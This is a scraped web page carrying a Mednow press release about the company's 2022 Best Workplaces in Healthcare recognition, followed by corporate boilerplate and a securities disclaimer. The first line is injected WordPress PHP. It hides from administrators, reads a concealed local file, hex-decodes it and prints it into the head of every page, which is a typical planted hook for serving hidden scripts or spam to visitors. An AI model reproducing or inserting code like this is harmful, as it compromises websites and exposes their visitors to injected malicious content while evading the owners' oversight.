if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } Mednow receives Best Workplaces in Healthcare Honour - Mednow Investor Relations Site

Press Releases

The pharmacy of the future is also among the Best Workplaces in Healthcare on the Great Place to Work 2022 list.

SEPTEMBER 13 – TORONTO, ON — Mednow is proud to be named to the 2022 Best Workplaces in Healthcare list.

Mednow receives this honour after a thorough and independent analysis conducted by Great Place to Work®.  

The Best Workplaces list is based on direct feedback from employees of the hundreds of organizations that were surveyed by Great Place to Work. To be eligible for this list, organizations must be Great Place to Work – Certified™ and have exceptionally high scores from employees on the Trust Index survey. 

Receiving recognition as among the Best Workplaces in Healthcare and earlier recognition as one of the Best Workplaces – Start-up is proof positive that Mednow is right where it can have the most impact on the health of Canadians; at the intersection of healthcare and technology.

“I’m proud of the team we’ve built and how aligned we are on our mission to bring the best pharmacy-centred healthcare to all Canadians. It’s people that will help us to our goal of upgrading people’s expectations of their pharmacy and its role in people-first, patient-centred care and incredible customer service. It’s recognitions like these that help show us we’re on the right track in supporting our most important asset — people,” said Ali Reyhany, Founder and CEO of Mednow.


About Great Place to Work®

Great Place to Work is the global authority on high-trust, high-performance workplace cultures. A global research and consulting firm, Great Place to Work® provides the benchmarks and expertise needed to create, sustain, and recognize outstanding workplace cultures. In Canada, Great Place to Work® produces both industry and demographic specific Best Workplace™ lists, and represents the voices of 500,000 employees across industry. This is part of the world’s largest annual workplace study, recognizing the world’s Best Workplaces in a series of national lists including those published by The Globe & Mail (Canada) and Fortune magazine (USA). Visit us at www.greatplacetowork.ca 

About Mednow

Mednow (mednow.ca, TSXV: MNOW) is Canada’s top-rated digital pharmacy with over 200 5-star Google reviews. Mednow is the first platform of its kind that offers a range of integrated healthcare services, all through the digital pharmacy. With this unique model, Mednow is able to provide Canadians with a higher level of care that includes free, often same day, delivery of medications and supplements, and virtual and telehealth services and virtual consultations with pharmacists, doctors, mental health and nutrition experts. 

Mednow proudly serves Ontario, British Columbia, Alberta, Northwest Territories and Yukon, New Brunswick, Newfoundland and Labrador, Nova Scotia, and Prince Edward Island and Quebec. 

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Note Regarding Forward-Looking Statements:

This release includes certain statements and information that may constitute forward-looking information within the meaning of applicable Canadian securities laws. All statements in this news release, other than statements of historical facts, including statements regarding future estimates, plans, objectives, timing, assumptions or expectations of future performance, are forward-looking statements and contain forward-looking information.

Generally, forward-looking statements and information can be identified by the use of forward-looking terminology such as “intends” or “anticipates”, or variations of such words and phrases or statements that certain actions, events or results “may”, “could”, “should”, “would” or “occur”. Forward-looking statements are based on certain material assumptions and analysis made by the Company and the opinions and estimates of management as of the date of this press release. 

These forward-looking statements are subject to known and unknown risks, uncertainties and other factors that may cause the actual results, level of activity, performance or achievements of the Company to be materially different from those expressed or implied by such forward-looking statements or forward-looking information. Important factors that may cause actual results to vary. Although management of the Company has attempted to identify important factors that could cause actual results to differ materially from those contained in forward-looking statements or forward-looking information, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements and forward-looking information. Readers are cautioned that reliance on such information may not be appropriate for other purposes. The Company does not undertake to update any forward-looking statement, forward-looking information or financial out-look that are incorporated by reference herein, except in accordance with applicable securities laws.